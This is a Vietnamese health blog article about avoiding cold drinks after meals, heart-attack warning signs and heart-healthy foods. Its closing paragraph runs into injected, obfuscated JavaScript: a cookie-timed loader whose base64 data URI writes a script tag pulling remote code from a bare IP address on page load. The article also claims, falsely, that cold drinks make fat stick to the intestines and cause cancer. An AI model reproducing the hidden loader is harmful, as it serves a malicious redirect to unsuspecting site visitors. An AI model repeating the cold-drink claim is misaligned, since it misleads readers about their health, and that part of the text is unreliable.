Sau bữa ăn tuyệt đối không uống thứ này, tổn thương đến tim rất lớn

Để tim luôn khỏe mạnh, say bữa ăn bạn tuyệt đối không dùng thức uống này nhé!

Tim sợ nhất là gì? Những thứ lạnh!

Nếu bạn muốn có sức khỏe và tuổi thọ, bạn nên biết “kẻ thù khắc tinh” của tim là gì?

Bạn đã quen với việc ăn xong uống một ly thức uống lạnh? Rất thoải mái, mát mẻ, đặc biệt là vừa đổ mồ hôi vừa ăn lẩu, thực sự cảm thấy rất thỏa mãn.

Nếu bạn có thói quen này, vui lòng xem những mô tả sau:

Sau đây là một trong những lý do tại sao bạn không thể ăn uống đồ lạnh sau khi ăn cơm, thực sự rất nặng!

Sau bữa tối, uống một ly đồ uống lạnh thật sự rất thoải mái. Tuy nhiên, thức ăn lạnh sẽ làm cho thực phẩm dầu mỡ bạn vừa ăn xong kết tụ lại với nhau. Và sẽ làm cho quá trình tiêu hóa dạ dày ruột chậm lại, một khi những thực phẩm kết tủa như bùn gặp phải acid dạ dày, nó sẽ phân giải và nhanh chóng bị hấp thu bởi ruột, nó sẽ gắn vào thành ruột. Không bao lâu sẽ trở thành chất béo và dẫn đến ung thư.

Vì vậy, sau các bữa ăn tốt nhất nên uống một bát canh nóng hoặc một cốc nước ấm.

Các triệu chứng thường thấy khi tái phát bệnh tim, hãy đặc biệt chú ý!

Không phải tất cả các cơn đau tim đều đau ngực trái, bạn cần chú ý khi phần cổ đau nghiêm trọng. Nhồi máu cơ tim không nhất thiết phải đau ngực, mà buồn nôn và đổ mồ hôi ban đêm nhiều mới là là một trong những triệu chứng chung của cơn đau tim.

60% cơn đau tim xảy ra trong quá trình ngủ, và bệnh nhân vì vậy mà một giấc không tỉnh lại, đau cổ thường sẽ đánh thức bạn khi ngủ. Vì vậy, phải hết sức cẩn thận, chúng ta hiểu biết nhiều hơn, cơ hội sống sót càng nhiều hơn.

Chúng ta hãy cùng tìm hiểu bệnh tim xuất hiện tín hiệu nguy hiểm gì:

– Ngực có cảm giác bị ép, cơn đau kéo dài hơn 15 phút;

– Cơn đau kéo dài đến vai, cổ, cánh tay;

– Lồng ngực không thoải mái, đồng thời cảm thấy nhức đầu nhẹ, ngất, đổ mồ hôi lạnh, buồn nôn, thở dốc;

– Không thể giải thích được sự lo lắng, suy nhược hoặc mệt mỏi.

Những thực phẩm tốt cho tim mạch

Cá hồi

Cá hồi cùng với các loại cá béo khác như cá mòi và cá thu là những “ngôi sao” trong danh sách thực phẩm tốt cho tim.

Hàm lượng cao axit béo Omega-3 trong các loại cá trên có chức năng làm giảm nguy cơ loạn nhịp tim và xơ vữa động mạch. Hiệp hội tim mạch Mỹ khuyến cáo nên ăn cá, nhất là cá béo, tối thiểu 2 lần/tuần.

Socola đen có lợi cho tim mạch

Nhiều nghiên cứu cho thấy socola đen có lợi cho tim của chúng ta. Một nghiên cứu năm 2012 phát hiện ra rằng việc ăn socola đen hằng ngày có thể làm giảm các cơn đau tim và đột quỵ đối với những người có nguy cơ cao.

Quả việt quất

Cả trái việt quất, dâu tây và những loại quả mọng khác đều chứa các hợp chất, bao gồm chất chống oxy hóa, có thể làm giảm huyết áp. Một nghiên cứu năm 2013 với phụ nữ từ 25 đến 42 tuổi tham gia cho thấy những người ăn nhiều việt quất và dâu tây mỗi tuần có nguy cơ bệnh tim thấp hơn 32% so với những người ít ăn các loại quả này.

Cam quýt

Những phụ nữ tiêu thụ một lượng lớn chất flavonoid có trong cam quýt và bưởi được cho có nguy cơ đột quỵ do thiếu máu cục bộ thấp hơn 19% so với những phụ nữ ít tiêu thụ hợp chất trên.

Ngoài ra, cam quýt chứa nhiều vitamin C, được cho là giúp giảm nguy cơ bệnh tim.

Khoai tây

Khoai tây tốt cho tim, miễn là đừng chiên thật giòn lên. Loại củ này giàu kali, giúp hạ huyết áp hiệu quả. Ngoài ra, khoai tây giàu chất xơ, kéo giảm nguy cơ bệnh tim.

Cà chua

Giống như khoai tây, cà chua có hàm lượng kali cao. Ngoài ra, cà chua còn chứa chất chống oxy hóa, gọi là lycopene. Lycopene giúp loại bỏ cholesterol xấu, giảm nguy cơ về tim mạch.

Bông cải xanh, rau bina và cải xoăn

Các loại rau này có thể tăng cường sức khỏe tim mạch nhờ chứa nhiều carotenoid (chất chống oxy hóa, giúp giải phóng các chất gây hại cho cơ thể).

Chúng cũng chứa nhiều chất xơ, vitamin và khoáng chất, tốt cho tim.

Cây họ đậu

Các loại đậu như đậu lăng, đậu Hà Lan là nguồn cung cấp protein tuyệt vời mà không chứa nhiều chất béo không tốt. Một nghiên cứu cho thấy người nào ăn đậu ít nhất 4 lần/tuần thì sẽ giảm nguy cơ bệnh tim đến 22% so với người tiêu thụ đậu ít hơn 1 lần/tuần.

Thực phẩm này còn giúp kiểm soát lượng đường trong máu ở những người bệnh tiểu đường, tránh biến chứng, trong đó có bệnh tim.

Đậu nành

Các sản phẩm từ đậu nành, bao gồm đậu phụ và sữa, là những thứ rất tốt để bổ sung đạm vào chế độ ăn không cholesterol lẫn chất béo không tốt.

Các sản phẩm từ đậu nành chứa một lượng cao chất béo không bão hòa đa (tốt cho sức khỏe), chất xơ, vitamin và khoáng chất.

Dầu ô liu nguyên chất

Một nghiên cứu quan trọng cho thấy những người có nguy cơ bệnh tim cao thực hiện chế độ ăn Địa Trung Hải (giàu ngũ cốc, hoa quả và rau củ) có bổ sung các loại hạt và ít nhất 4 muỗng canh dầu ô liu mỗi ngày sẽ giúp kéo giảm 30% nguy cơ nhồi máu cơ tim, đột quỵ.

Trà xanh

Các nghiên cứu trước đây cho thấy người uống trà xanh thường xuyên có tỷ lệ tử vong thấp hơn, bao gồm tử vong do bệnh tim. #(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.